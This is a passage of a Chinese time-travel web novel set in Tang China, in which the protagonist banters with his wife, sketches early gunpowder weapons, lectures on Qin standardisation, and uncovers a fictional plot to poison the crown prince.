他感觉自己的名声要被这小家伙败坏了。 衍里衍气都整出来了。 恰巧,高阳此时小步慢跑过来,看了看陈衍的表情,又看了看离开的李丽质,笑容明媚。 “哟,这不是陈大少吗?” “你这是.......又吃瘪了?” 陈衍斜了她一眼,“你信不信我明天就砸钱,把你肚子皱巴巴的消息刊登在大唐民报上?” 高阳:? “陈衍,你也太不当人了吧?我可是为了给你生孩子才变成这样的。你看我现在还在为了恢复整天被人笑话呢。” “你忍心吗?” “我铁石心肠!”陈衍板着脸。 高阳呵呵一笑,倒也没生气,凑过来。 “你的情绪不对,是个人都看得出来,我又没嘲笑你,怎么还不 让人说呢?” “嗯,你说得对,公主殿下说啥都是对的。”陈衍敷衍道。 说完,他想起什么,告诫道: “你别为了恢复入了魔,适量的运动就好了,没让你一直运动,过量只会适得其反。” “行!”高阳眼眸弯弯,从怀中掏出一张请帖。 “诺,刚刚翼国公府派人送过来的,我刚好遇见,就收下来了。” “什么东西?”陈衍接过一看,才恍然想起,秦怀道要成婚了。 看眼请柬上的日期,嗯,是下个月,跟无旌骑出征的日子不冲突。 应该说就在后几日。 陈衍笑了,“算算日子,确实差不多了。” “说起来,这桩婚事还是我凑成的呢,他竟然不给我一点媒人钱,还送请帖过来让我随礼,过分。” “得了吧。”高阳翻了个白眼,“谁比得过你啊,成了两次婚,收了两次礼,现在人家要成婚了,你还不让人家收回去一点?” 陈衍:“......” “你非得怼我一下是吧?” “孩子生下来了,你躁动的心又按捺不住了?想挨揍?” “你......”高阳一惊,慌忙转头看看四周,发现没什么人,而且陈衍说得并不大声,才放心下来。 高阳怒视:“我们早说好的,这些事不许在外面说。” “谁让你管不住嘴呢?我忍不住啊。”陈衍一脸无辜。 “......哼!”高阳不想搭理他,留下一句话,气呼呼地走了。 “等你回长安的时候,记得告诉我一声,我们带小岁安回宫一趟。” “......” 第440章 贞观大唐,前线炮口向左移动五公分? “陈兄,这就是你所说的新火药武器?” 李泰从陈衍手中接过一沓图纸,仔仔细细地看了一遍之后,皱着眉问。 这看上去跟个烧火棍一样的东西,便是新的开端? 陈衍没说话,从工作间内的角落搬出来一口大箱子。 李泰好奇地凑过来。 “陈兄,这是什么?” 事实上,陈衍对这个工作间很看重,平时连李丽质他们都很少进来,也就高阳混不吝,好奇之下偷偷跑进来过几次,但感觉没什么便失去了兴趣。 李泰自然是没来过的,今天还是第一次。 “这是我从前的失败成果,自贞观三年开始,我一直在钻研这种武器,可惜失败了。” “你拿走吧,或许能给你一些灵感启发。” 一边说着,他打开箱子,里面摆满了长短不一的枪或者说火铳。 陈衍没开玩笑,从他穿越过来,就想整出一把枪来给自己防身,毕竟这个时代人命实在不值钱。 奈何,他太高看自己了,哪怕努力了两年多,却依然没有成功。 因为其中的困难实在不小,例如从前的锻铁技术不行,无法做出合格的枪管,还有精密钻孔、气密性都是不小的问题。 连特么的普通火药都不行,必须得颗粒化的火药才能保证威力。 锻铁的技术好说,像目前一样,优化很容易,其他就不行了。 这也是陈衍放弃的原因。 李泰从中拿出一把短铳,上上下下,左左右右观察一遍,同时询问着陈衍各种有关火铳的问题。 后者不厌其烦地一一回答。 半晌过后,两人坐下来,李泰把玩着火铳,若有所思道:“所以说,其实火铳的原理,简单来说就是,利用火药燃烧,产生等同于爆炸的威力,从而将弹丸推出去,达到击杀敌人的目的?” “.......你这么理解也没问题。”陈衍思索着说:“实际上,这跟我们之前在炸药里放上铁片等较为锋利的东西,是差不多的道理。” “不过炸药爆炸飞射出去的弹片,我们无法控制方向,而火铳则需要用枪管来控制弹丸发射的方向罢了。” “明白了。”李泰喃喃自语,不知道在嘀咕些什么。 陈衍这时又从柜子里搬出来一根带火门的铁管,下面还有支架支撑。 “这是火门枪,火铳最初想法的来源。” “火门枪我已经做成功 了,不过它太笨重,发射方向同样不好控制,所以作用并不大。但我认为,它或许更能给你启发。” 李泰连忙凑过来,陈衍在一旁给他讲解了原理,前者一下子就理解了。 跟火铳不同,火门枪相当简单,哪怕陈衍不拿出成品,只告诉他原理的话,李泰一样可以在短时间内做出来。 可这玩意有一个地方很好,就是火门枪就是最原始的火铳,也正是有火门枪存在,才慢慢有了火铳,乃至后世真正的枪。 李泰蹲着身子打量火门枪,摸着下巴思量片刻,突然说: “陈兄,我们为何一定要执着于火铳呢?我感觉你这个火门枪更有说法啊。” “如果我们把这个枪管做长、做大,以及换一种材料,例如青铜,我们完全可以不需要发射什么弹丸啊,发射炸药,或者巨大的石弹、铁弹不行吗?” “这不比火铳威力大?” 李泰似乎发现了华点,越说越兴奋,“如此一来,枪管被加大加粗、承受的爆炸冲击力必然大大增加,换言之,攻击的范围也会增加。” “倘若一下子能发射出几百米,而且用的是炸药,还需要考虑什么便不便携的?带上战场那就是妥妥的神器啊。” “以后特么打仗,前面直接推着咱们的火门枪,一路轰炸推平过去不就完了?” “遇山炸山,遇城炸城啊!” 陈衍:? “不是......啊?” 他目瞪口呆地看着脸色因激动涨红的李泰,脑瓜子嗡嗡的。 这特么不大炮吗? 小爷还在寻思整枪,你直接上炮了? 魏王殿下提供技术支持,渭国公负责统率全局,战术指挥! 贞观大唐,前线炮口向左移动五公分? 妙啊! “嘶!” 陈衍倒吸一口凉气。 仔细琢磨琢磨.......可能、大概、也许.......没毛病啊! 为啥不直接上炮呢? 炮特么不比火铳好整多了? “等等!等等!” 陈衍揉着脑袋,想了想,这才回过神。 差点被魏王带进去了,之前他想的是给自己整把枪防身,自然不考虑大威力的炮,所以下意识忽略了。 然而,就目前而言,做炮的性价比,确实要远远超出火铳哈。 “等什么?”魏王不知他想什么,一听等等,心里 一紧。 “没,没什么。”陈衍摆手,正色道:“我觉得你说的很有道理,魏王,你不愧是天纵之才啊,我以前说的果然没错,你就是纯纯被皇位耽搁了。” “是吧?” 魏王闻言那叫一个美,“我也觉得我以前被小人教唆,跑去抢什么皇位,现在才发现,科学不比皇位好多了?” “当然啦,多亏了陈兄助我脱离苦海啊。” 陈衍:“......” 他没敢接着话,转而问:“怎么样魏王?现在信不信火药的出现,昭示着冷兵器时代的落幕?” “以后啊,战场上谁特么还拼刀啊!” “陈兄,我可从来没有不相信你!”魏王一肃,“自你告诉我热气球那一日起,我对你说的话可是从未怀疑过的!” “不过你这话说得确实对,我感觉我的想法很有搞头。” “嗯......我不跟你说了,这些东西和图纸我带走了,陈兄,我一定不让你失望,争取早日把火门枪做出来!” 说着,他急不可耐地合上箱子,急匆匆要走。 陈衍赶忙拉住他,语重心长:“魏王,我不否认你的想法,我也承认炮.......火门枪的威力比火铳大。” “你刚刚说相信我,那你愿不愿意再信我一次?” “那还用说吗?我肯定信你啊!”李泰下意识说。 “那好!”陈衍欣慰地点点头,“既然相信我,那就再相信我一次,火门枪要整,火铳也决不能放弃。” “它的未来,绝不止我跟你描述的那样!” “......” 第441章 统一的原因 五月底,最后一天上午。 陈衍站在讲台前,面对下面的一群二代学生:“诸位同学上午好,因为某些特殊原因,今天大概是接下来半个月最后一堂课了。” “所以呢,今天咱们讲一些有意思的东西。” 李义府没问因为什么特殊原因,举手说:“陈先生,咱们今天依然先讲历史吗?” 自从上次陈衍讲了黄帝和蚩尤的大战,后来便沿着黄帝和蚩尤之后一直讲了下去。 那些被众人熟知的历史,在陈衍口中总能说出不一样的道理,给出不同的见解。 更难得的是,陈衍讲的历史相当有趣,跟听故事一样,哪怕是兕子这样的小孩子都听得津津有味。 故此,大家都比较期待历史课。 “历史啊......”陈衍想了想,问:“你们都想听历史吗?” 众人齐刷刷地点头,满脸期待。 他答应了:“好吧,我原先没想讲历史的,既然你们希望我讲历史,那我便讲讲,原本的课留到下个月中讲。” 陈衍清了清嗓子,沉吟片刻,组织一下措辞,缓缓开口: “上次我跟你们说过,历史是一幅宏大的画卷,上面描绘了每个时代不灭的印记,每个时代都有着它的闪光点,也存在它令人难以忘怀的遗憾。” “今天我们要讲的,是历史上第一个大统一的王朝——秦!” 话音刚落,众人的眼睛顿时亮了。 秦啊! 这可是他们期待已久的课。 尽管大秦二世而亡,但谁都无法否认秦的历史地位。 短短统一后的二世,能讲的实在太多了。 陈衍微笑道:“说起秦,那么永远绕不开一个人,那就是秦始皇。” “始皇!始皇!连当今陛下同样这么称呼他,你们应该就能明白他的地位。” “在座各位都不是愚昧之人,我相信读遍史书的你们不会相信民间对于始皇的评价,有着自己的理解。” 房遗直止不住地点头,感慨道:“始皇啊,着实令人敬佩。” “只可惜......” 他话未说完,只余下一声叹息。 其他人哪里不明白他在叹息什么,又在可惜什么。 说真的,目前,始皇在民间的名声真算不上好,这还算相当委婉的说法了。 如果你走出门,随便找人问秦始皇怎么样,恐怕十个人九个会回答你两 个字。 暴君! 这怎能不令人叹息? 陈衍没管他们怎么想,继续说:“寻常的历史,你们恐怕比我记得都清楚,所以我就不多说了。” “而我们今天要说的,其实就是两个字!” 他转身在小黑板上写下两个大字。 “统一?” 大家陷入了沉思,不太明白陈衍的想法。 “对,就是统一!” 陈衍点头,然后道:“或者说,大秦为什么能统一?而不是当时其他国家?” “来,有没有同学回答我这个问题。” “因为大秦更强!”李泰毫不犹豫举手道:“在当时,大秦不止是更强,而且是比其他国家强出不止一个层次。” “其他六国中,曾经最强的楚国和赵国,虽然仍有相当实力,但已无法与秦国抗衡。” “另外四国更不用说了,根本不是大秦的对手。” “对!”陈衍先是肯定:“大秦当时确实比其他国家强出不止一个层次,这是大秦能统一的重要原因之一。” “那么,有没有谁知道,大秦为什么远比其他六国强?” 在大家陷入思索时,杜构沉声道:“我父亲曾经跟我说过这个问题,大秦的强盛不是一时之强,而是通过一代又一代的积累,六世明君以及大量能臣猛将共同努力的结果。” “所以,也有秦始皇奋六世之余烈的说法。” “其中最为关键的,毫无疑问是“商鞅变法”,摧毁了世袭领地,建立了最早的官僚制度,极大地加强了国君的权力,使得政令得以高效、统一地执行。” “另外,建立户籍制度与连坐法在现在看来虽有些残忍,但加强了对当地的控制,以残酷的刑罚建立起了不再继续内耗的秩序。” “军功制度更是不用多说!” “在“商鞅变法”之后,大秦可以说妥妥是一个专门为战争而前进的国家,目的就是为了统一。” “说得好!”陈衍抚掌,“秦始皇能统一六国,“商鞅变法”的确是重中之重。” “可我们今天不讲这个,因为这些你们都清楚。” “我们来说说更细节的东西!” 更细节的东西? 在场的人疑惑,却也没多问,一个个正坐起来。 因为他们知道,陈衍要说到关键地方了。 “首先,二十级军功爵位制,这个我不用说得太细致 ,军功制的出现,让每个士兵都成了为自己命运而战,爆发出了相当惊人的战斗力!” 陈衍简单提了一下军制,转而捏起一根粉笔,道:“其次,还有后勤碾压的原因!” 他转身,按照脑子里的记忆,简单画出了秦驰道粮食转运图。 “大秦之所以能统一六国,其中一个重要原因,就是他们标准化的道路,这让他们的运粮速度是其余六国的数倍!” 陈衍手撑着讲台,淡笑道:“运粮效率是其他六国的数倍,这是什么概念应该不用我解释吧?” 没人开口,大家都在盯着他后面黑板上的简易图,一个个或皱眉、或思索、亦或恍然。 数倍于其他国家运送粮食的速度,这代表的不仅仅是送得快,而是送得更多。 例如在六国,十斛粮食,沿途人吃马嚼,损耗殆尽,能有三斛抵达前线,已堪称名将。 而在大秦,十斛可至七八斛。 高阳凝神道:“你是想告诉我们,这一切全部基于大秦当时的嗯......“标准化”道路?” 她已经渐渐习惯陈衍口中冒出来的奇怪词汇,并善于运用了。 “这只是其一。”陈衍颔首,“不管对于任何国家,路一定是重中之重!” “再打个比方,目前的渭南县之所以能发展这么快,什么原因占据了很重要一部分?” “而又是什么事,即使是一直需要砸钱,却是我一直在做,从未放弃的?” “.......” 第442章 标准化的重要性 有什么事,即使一直在烧钱,陈衍却始终坚持在做? 这个问题一抛出来,李丽质、高阳、李泰这些对县衙事务了解不深的人,脸上都露出了些许迷茫。 但杜构还能不清楚吗?他可是从陈衍上任之初就一路跟过来的元老。 “修路!” 杜构毫不犹豫道。 “没错,就是修路!”陈衍肯定地点点头,接过话头,“我刚到渭南县的时候,县衙穷得叮当响。我做的第一件实事,就是改革了渭河上的渡船,把官渡统一管起来,这才让县衙有了稳定的进项。” “手里刚有点钱,我下的第一个命令,就是修路!” 陈衍放缓了语速,强调道:“从码头开始,到我上任后的今天,修路的工程就从来没停过。” “不夸张地说,现在县衙每挣五文钱,就有一文钱花在了修路上。” “表面上看,修路只有支出,没有直接的收入。但它对渭南县发展的作用,是任何其他事情都无法替代的。” “我们县能这么快地繁荣起来,很大程度上,靠的就是我修的那些四通八达的路。” 他打了个生动的比方:“这就像把一潭死水,挖出沟渠,和江河大海连起来。死水迟早会发臭,而活水却能滋养万物,自己也变得清澈而充满生机。” “我跟你们说这些,就是想让你们明白,路,是根基中的根基!” 听到这里,众人都若有所思地点着头,似乎有了更深的理解。 大家若有所悟地点点头,表示自己明白了。 戴至德这时忽然举手:“陈先生,您此前说,“标准化”的道路,致使大秦运粮的速度远超他国。您所说的“标准化”我大致可以理解。” “那么,秦始皇后来推行‘书同文、车同轨’,统一文字和车轨的宽度,这是不是也可以看作另一种形式的‘标准化’呢?” “问得非常好!”陈衍赞许地看了他一眼:“这正是接下来要讲的关键。” 他拿起粉笔,转身在黑板上重重写下了“书同文,车同轨”几个大字。 “没错,‘标准化’绝不仅仅体现在道路上,始皇帝的雄才大略,就在于他将‘标准’贯穿到了大秦的方方面面。” “你们想想,”陈衍环视众人,“如果六国各地的马车,车轮间距都不一样,那即便修了再宽阔平坦的‘驰道’,一辆楚国的马车跑到秦国的路上,会不会卡住?军队的调动、物资的运输,效率会不会大 打折扣?” “六国运粮,车辆制式不同,道路宽窄不同,一辆赵国的粮车入了魏境,若车轴折断,便寻不到合适的零件更换,只能抛弃。” “而秦国的‘车同轨’,并非单纯指车轮间距,更是全国车辆零件、规格、尺寸的绝对统一。” “比如你们现在坐的凳子!” 陈衍指了指前方李义府屁股下面的凳子,“它其实也是由不同的木材零部件组成,若其中一根凳脚折断,损坏,我立刻便能找来一根新的凳脚给他换上。” “因为我要求打造这些凳子的木工,大小、规格、尺度全部是一致的。” “标准化的作用,就是提升效率。” 李丽质听到这里,眼睛一亮,恍然道:“我好像有点明白了!” “我记得从前在一本书上看到过记载,说秦弩的箭簇,哪怕来自天南地北不同的作坊,也完全可以互换。” “在战场上如果有弩机损坏,工匠立刻就能拆解拼装,换上好的部件继续使用。” “不错。”陈衍满意道:“这同样是大秦可以统一六国的原因之一,因为他们连战争的许多方面都运用了标准化。” “而我想告诉你们的就是,大秦的统一不是偶然,而是来自国家各个方面都远超其他六国。” “所以,秦灭六国,非一人之功,乃制度之胜。商鞅所立之法,便是将整个秦国打造成了一台精密无比的战争机器,耕与战,皆是零件。” “包括后世所有的君王,其实都思考,如何在基于大秦上,打造出属于自己的,更精密的机器。” 机器? 大多人对这个词汇不太了解,只能猜测。 但跟陈衍接触已久的高阳和李丽质却是很了解。 各自思考一下陈衍说的话之后,李泰询问道:“那还有其他原因吗?” 陈衍点点头:“有的兄弟,这样的原因整整还有九种!” “不过多的就不用太细致地说,其中最重要的一个,那就是大势所趋!” “嗯......这么说实际上不太准确,秦始皇并不是大势下被动的弄潮儿,他本身就是大势最关键的创造者与最终的完成者。” 他顿了顿,“经过五百年的战乱与纷争,由地理、经济、文化等因素共同孕育,天下各地的百姓内心深处早已渴望融合。” “更重要的是,他们早已受够了这无休止的乱世,人心思定,渴望一个统一的、强大的国家来结束 这一切,这才是最根本的推动力。” “而反观今世,隋末天下崩乱,群雄并起,民不聊生。” “太上皇与陛下同样是顺势而为,拔剑扫清天下,再造一统,其境遇与始皇有相似之处。” “但......”陈衍笑道:“陛下跟始皇不同的点在哪,你们知道吗?” 此话一出,课堂内陷入寂静。 大家都在思考,思考二人之间的区别。 然而此时,高阳嘟囔道:“不同的点,应该是父皇不以严刑酷法立国吧?” “耶?”陈衍颇为意外地看了眼自家的索命小娇妻。 相当怀疑她又超进化了。 众所周知,高阳是有点惊世智慧的。 当然啦,只有在她动脑子的时候,惊世智慧才是智慧。 不动脑子的时候,惊世智慧只剩下惊世了。 正当陈衍想继续开口的时候,门忽然被敲响了。 他皱了皱眉,走过去打开门。 “小顺子?” 小顺子恭敬道:“国公爷,小的不是有意打扰的,是陛下派人请您回一趟长安,说是有要事。” “......” 第443章 畅通无阻 “陛下请我过去?” 陈衍有点诧异。 李世民明知道无旌骑明天就要出征,怎么会在这个时候突然召自己入宫? 他感觉有些不对,问道:“是谁来传消息的?” “是李统领。”小顺子回道:“他现在就在正厅等您。” 李君羡...... 陈衍摸着下巴思索,朝里面的人挥挥手,“我临时有事,今天先到这里吧,有关我后面那个问题,你们可以回去好好想想,翻阅一下书籍,下次上课的时候再回答。” 李泰等人觉得意外,但眼看陈衍说完便离开了,疑惑片刻之后,就各自离开了。 陈衍来到正厅,找到李君羡,直接问道:“李统领,宫里可是出了事?” 他严重怀疑是长孙皇后病发了,要不然李世民不会在这个节骨眼上请自己回去。 李君羡闭口不谈这个问题,只是做了请的手势:“具体末将不能说,请渭国公带上药箱跟末将进宫一趟就明白了。” 陈衍深深看了他一眼,点点头。 直觉告诉他,绝对不是什么好事。 “......” 此时的东宫,气氛压抑得让人喘不过气。 偶尔有几声压抑的抽泣从内殿传来,更添了几分沉重。 李世民面无表情地坐在外殿,表面上看着平静,但那异常起伏的胸膛却暴露了他此刻正在暴怒边缘。 熟悉他的人都知道,这是山雨欲来的前兆。 长孙皇后心情同样沉重。 因为她的长子李承乾躺在榻上,脸色相当苍白,眉头紧皱着,时不时抽动一下,似乎在承受某种痛苦。 “婉儿,莫要担心,陛下已经派人去请子安过来了,以他的医术,相信绝对能医治好承乾的。” “母后......”太子妃哽咽着点头,可一看到床上昏迷不醒的丈夫,眼泪又止不住地往下掉。 她不明白,为什么一个小小的痹证(风湿),会慢慢演变成风疾,更是在昨天晚上突然病倒,直到现在还未醒过来。 一群太医更是诊了半天还没诊出病因。 太子妃怎能不担心? 她的孩子刚出生几个月啊! 长孙皇后深呼吸一口,好好安慰了一下儿媳,随后来到李世民身边,犹豫了一下,压低声音说:“二郎,你说会不会是有人对承乾下手了?” 李世民目光瞬间一凝,脸色晦暗不明 ,缓了一会儿才开口:“不清楚,不过这种可能比较小。承乾如今的模样,唯一能解释的便是中毒,可东宫的审查并没有弱到哪里去,想对承乾下毒难如登天。” “更何况,承乾平日用的膳食还是朕的御厨,而且朕还让太医检查了承乾膳食的残渣,以及所有物,并未发现可疑之处。” “或许,承乾只是得了其他病症,等子安过来应该可以治好。” 长孙皇后默然。 她心里清楚,李世民此话很可能是用来安慰自己的,就像她安慰太子妃一样。 殿内,一下子安静了下来。 两人都没再开口,太子妃也停止了哭泣。 时间慢慢过去,就在他们三人愈发着急的时候,李君羡总算带着陈衍来了。 “子安!”李世民再也坐不住了,不给陈衍开口的机会,拉着他赶紧来到李承乾面前:“快,快救救承乾。” “渭国公,请你救救我夫君......”太子妃像是抓住了救命稻草,眼里满是哀求。 “别急,别急。”陈衍明白事情的严重性,一刻也不敢耽误,一边回话的同时,已经放下药箱查看起李承乾的情况。 不过,只是简单看了片刻,他眸光就稍稍沉了一下。 把过脉之后,他思索一会儿,伸手轻轻按了按李承乾的肚子,后者反应出奇的大,不仅眉头皱得更深,身体都抽搐了一下。 “没醒?” 陈衍呢喃一句,手上的力度加深了一些。 “嘶!” “啊......” 李承乾倒吸一口凉气,发出压抑的痛呼声。 “夫君!” “承乾!” 太子妃和长孙皇后见状坐不住了,赶忙凑了过来。 眼看李承乾的情况没什么好转,长孙皇后赶忙问:“子安,承乾到底怎么了,你可查出他得的是什么病?” “子......子安兄......” 李承乾此刻已经明白自己的处境了,勉强对好友露出一个笑容。 “又要......麻烦你了。” 陈衍淡笑道:“没事的,你这个只是小问题,身体有些虚而已,平时没怎么节制吧?” ? 李承乾瞬间懵了,反应过来后,看了眼目光已经变得古怪的父皇与母后,脸瞬间涨红: “你放屁!你个庸......” “我能治!” “.......神医救我!” 众人:“......” “那你怕是要吃些苦头咯。”陈衍眉头一挑,打开自己的药箱,拿出了自己压箱底的宝贝。 “这可是我引以为傲的药物,当年为了制作它,可是费了我不少功夫,今天便宜你了。” 李承乾精神了一会儿,又虚了。 望着陈衍手中的瓷瓶,问道:“怎么服用?” “准备一杯温水即可。” “来人!”李世民当即开喊。 不多时一碗温水就被送了过来,太子妃赶紧把瓷瓶中的药一股脑倒入碗中,然后小心翼翼地喂给李承乾。 她却没发现,陈衍看着她的动作表情愈发奇怪。 长孙皇后注意到了,疑惑道:“子安,你这压箱底的药,到底是什么药?能治好承乾吗?” 陈衍咧嘴乐道:“它叫做畅通无阻,能保证服用者飞流直下,一泻千里!” ??? 一句话落下,不光长孙皇后懵了,李世民也懵了。 而李承乾更是傻了眼! “你......你刚刚说这药叫什么名字?” “畅通无阻呗。”陈衍笑眯眯道:“它还有一个俗称,叫做泻药。” “承乾兄认为我这个名字取得怎么样?” 李承乾脸都绿了。 谁管你名字取得怎么样啊? 你他娘的是不是成心想害我? 我都这样了,你还喂我吃泻药? “我......” 咕噜噜~ 不得不说,畅通无阻不愧是陈衍的压箱底宝贝,见效相当快。 当然也有可能是李承乾很久没进食,加上太子妃量加得多的原因。 “婉儿!快!快扶我......”李承乾也顾不上骂人了,捂着肚子急得满头大汗。 “......” 第444章 高明的手法 殿里顿时一阵鸡飞狗跳。 李承乾被人急匆匆扶出去了,太子妃放心不下,也提着裙摆跟了上去。 转眼间,内殿只剩下陈衍与李世民、长孙皇后三人。 空气仿佛凝固,李世民和长孙皇后对视一眼,都在对方眼中看到了沉重的忧虑。 他们不像年轻的太子妃那般懵懂。 多年前,一位云游四方的老医者曾对他们说过,泻药,有时是驱邪排毒的猛药。 陈衍诊脉后二话不说直接上泻药,这个举动本身已经说明了很多问题。 李世民的拳头不自觉地握紧,指节发白,额角青筋隐隐跳动,他强压着心头翻涌的怒火,声音低沉得可怕:“承乾......果然是中毒了?” 陈衍迎上皇帝锐利的目光,沉默片刻,缓缓点头。 “是一种很古怪的毒,”他解释道,“混杂了好几种成分,一时难以分辨。” “唯一能确定的是,这毒和陛下之前中的毒颇有相似之处,但用在承乾兄身上,症状却明显加重了,情况紧急,我只能先用些非常手段。” 其实他初步判断是重金属中毒,可又觉得李承乾中毒不深,按理不该如此严重。 他怀疑其中还掺了别的毒素,或者有什么诱因引发了毒性。 “好啊......好得很!”李世民怒极反笑,胸膛剧烈起伏,再也压制不住满腔怒火。 堂堂一国太子,饮食起居都要经过层层查验,可即便这样,李承乾还是中了毒! 这和他自己服用丹药中毒完全不同,分明是有人蓄意谋害太子。 “真是......好大的胆子!”李世民眼中寒光闪烁,声音里带着刺骨的冷意:“竟敢在朕的眼皮底下,对承乾下毒!” “若让朕知晓是谁,朕不将他扒皮抽筋,难解心头之恨啊!” 长孙皇后见状,连忙上前轻轻按住他的手臂,柔声劝道:“陛下息怒,现在最要紧的是承乾的身体。” 她转向陈衍,眼中满是担忧:“子安,这泻药......当真能解承乾的毒吗?他方才那般虚弱,会不会受不住?” “我那泻药殿下可以放心,没事的,顶多让太子虚弱几天。”陈衍低声道:“只是那毒,怕是没那么好解。” “想解毒,得先清楚是什么毒才行。” 此时,太子妃恰好回来。 主要是李承乾不让她跟进去,所以她只好焦急地跑了回来。 一听李承乾中毒,好悬没晕过去。 还好长孙皇后眼疾手快,扶了她一把。 “渭国公......我夫君是中毒了?” 陈衍没回答,目光停留在了刚刚从太子妃头上掉落的几根发丝上,皱眉看了看太子妃: “太子妃,我能否替你把把脉?” 此话一出,李世民夫妇心里一个咯噔。 太子妃一怔,也意识到了什么,抿了抿唇,答应下来。 陈衍给太子妃把过脉,问了她最近有没有感觉身体不对,头发异常掉落。 太子妃都给出了肯定的答案。 “太子妃也中毒了,但很浅,不算严重。”陈衍顿感头疼。 “是跟承乾一样的毒吗?”李世民差点又没压住暴脾气。 陈衍:“对,跟太子一样的毒,我此前没诊断错,这毒跟陛下中的毒有异曲同工之妙,实际上算得上慢性毒。” “但太子的症状明显不对劲,毒发实在太快,如果不是承乾兄此前身体健朗,恐怕......” 他话未说完,不过李世民夫妇明白他的意思。 陈衍接着说:“劳烦太子妃把太子最近吃的食物残渣,以及用的物品派人拿过来给我看看。” “我想看看能否找出下毒者到底是怎么给太子下的毒,如此才能知晓到底中的什么毒。” “好!”太子妃郑重应下来,马上便派人去找了。 紧接着,陈衍又问了李世民和长孙皇后很多有关李承乾最近的情况,太子妃回来之后还补充了许多。 听到李承乾此前得了痹证,然后又变成风疾,他摸着下巴思考起来。 不多时,一群宫女就把一件件东西以及食物、药渣带了进来。 陈衍第一时间将目光放在了药渣上。 他上前仔仔细细检查一遍,发现没什么问题,其中一味有毒的‘附子’用量和用法都没问题。 这味药用得好是“回阳救逆”的救命仙丹,用不好则是“见血封喉”的致命毒药。 使用微量的话,可以达成以毒攻毒的效果。 陈衍暂时放下药渣,开始检查起其他东西,连李世民御赐的酒都没放过,还抿了一口。 结果发现这是正常被提纯的高度酒,自他整出高度酒后,这东西在宫里并不罕见。 “怎么样,子安,发现什么没有?” 李世民追问道。 “还没有,可我总 感觉有哪里不对劲。”陈衍脑子里回想着自己一遍遍检查过的东西,觉得有什么地方被他给忽略了。 他想了想,依然没想出什么结果,只好再检查一遍。 李世民等人不敢打扰,哪怕心里着急,也知道目前最重要的是找出李承乾中的是什么毒。 而第二次检查,陈衍的注意力被一块墨锭所吸引,放置鼻下闻了闻,眯了眯眼,回头问:“太子妃,你帮太子研过墨吗?” 太子妃老实说:“夫君平日处理政务的时候喜欢安静,我有时给夫君送膳食的时候,会帮他研墨。” “以前这种事他都是自己做的。” “原来如此。”陈衍总算清楚自己忽略了什么,他立即跑到药渣前,捏起一块‘附子’的残渣,又转而拿起一瓶御赐酒。 打量一会儿这三样东西,他心里不得不感慨,这下毒的人实在是高啊。 这块墨锭内掺入了一些重金属毒物,李承乾长期自己研墨,便会导致重金属中毒。 原本只是这样的话,那只是慢性毒,见效相当慢。 但下毒之人的手法相当高明,利用了治愈太子痹证中的一味药材产生的乌头碱,更是利用了陛下御赐高度酒产生的乙醇。 三者分开没事,酒和药甚至有益。 然而一旦合在一起,能极大促进重金属和乌头碱在体内的吸收与毒性,让慢性毒变成剧毒。 “......” 第445章 兔子急了还咬人呢 跟李世民他们三人具体解释了下毒者到底是怎么下的毒,陈衍再次感慨,下毒者确实有两把刷子。 事实上,如果不是他懂现代医学,懂一点化学,很可能跟那群太医一样看不出来李承乾到底什么情况。 更别谈中毒的原因了。 陈衍不认为这个时代有人懂什么是‘乌头碱’,懂高度酒内蕴含的‘乙醇’。 很可能,下毒的人自己都不清楚具体原理,更不懂怎么解毒。 “那可有办法解毒?”李世民一边心惊世间还有这样的下毒方式,一边询问道。 “有的。”陈衍点头,“实际上,太子中毒并不深,等畅通无阻药效过去,好好调养一下身体,出不了大问题。” 长孙皇后一下子抓住了他话里的重点,“出不了大问题,难道有小问题?” 陈衍叹息,“小问题同样好解决,总的来说,算是在控制范围内,并不算太严重,连陛下那种程度都达不到。” 他感觉这个时代实在对他太不友好了,特别是这些中毒的。 像李承乾还算好的了,只是配合其他东西催化毒素融合,想办法排出去,还能调养好。 可像李世民那样的,他也没什么好办法。 “如此便好。” 长孙皇后和太子妃放心了下来。 李世民此时给了陈衍一个眼神,后者会意,跟着他走出殿内。 来到外面,李世民边走边说:“此事你不用多管,我知晓明日无旌骑要出征,你把药方、怎么调理、平日吃什么留下,告诉太子妃,然后你便回去吧。” “还有,以你现在的身份,可以多招收一些私人的护卫,平日里小心些。” “......啊?” 陈衍一下子没反应过来,愣愣地看着他。 李世民意有所指道:“你认为,在目前的情况下,当今世上,有谁敢毒害太子?” 陈衍眨眨眼,一瞬间就想到了世家。 略微思索片刻,他试探性问:“......他们被逼急了?” “或许是如此,谁也说不清,朕亦不太确定,只是猜测。”李世民神色复杂,微微抬头望天:“可朕知道,最近世家确实已经被朕逼到了一定程度上。” “在朕不计成本的投入下,大唐民报的扩散相当之快,已经逐步蚕食了天下舆论。特别是朕直接登报,没有任何透露的大开科举,他们连对天下读书人的控制都快散去。” “外部还有各种产业被朕,或者被你挤压,他们已经岌岌可危了。” “哎!”陈衍一惊,“陛下你不要乱说嗷,我可没有挤压他们的产业,这事跟我没关系哇!” “呵。”李世民冷笑,“一切主意都是你给朕出的,你现在说跟你没关系了?” “那我也没挤压过世家的产业啊。”陈衍嘴硬。 “那朕问你,细盐是谁给朕的?” “应该是我吧......”陈衍声音小了下来。 “那你可知,盐的买卖从前都是世家把控,细盐的出现,对他们来说简直是无与伦比的打击?”李世民继续问。 陈衍顿时不说话了。 李世民不放过他,自顾自说着,“还有你小子整出来的绢帛,前段时间又拿出了新的炼钢法,开发的白糖买卖。” “这些,都无比巧合地踩中了世家的产业关键点,你还说跟你没关系?” 陈衍语塞,说不出来话。 仔细想想,自从当了狗头军师之后,对于世家来说确实太不友好了。 从贞观四年到现在,世家跟李世民的关系简直在飞速激化,矛盾在不断加深,到现在已经到了不可调和的地步。 他沉默了一会儿,眼里闪过一丝寒芒:“既然如此,不如咱们先下手为强,争取尽快解决世家,清除掉这些隐患!” 李世民意外道:“你刚刚不还说跟你没关系吗?怎么现在又要先下手为强了?” “......陛下,玩笑话罢了,咱们先说正事。” 李世民不置可否,拍了拍他的肩膀:“你不怎么关注朝堂的情况,加上不在长安城,故此对这边的局势难免有所误判。” “另外,你不要太小看世家了,越是到这种地步,我们反而越不能急,按照原定的计划稳步走才是正事。” “兔子急了还咬人呢,你说是吧?” “陛下的意思......?”陈衍疑惑地问。 “朕没什么意思。”得知李承乾没什么事,李世民已经冷静了下来,负手而立:“别忘了朕从前的出身,对于世家的手段,朕可并不陌生。” “你做好自己的事就行,朕已经有所安排了。” 听李世民这样说,陈衍也放心了下来。 如果可以的话,他其实也并不想管这种事。 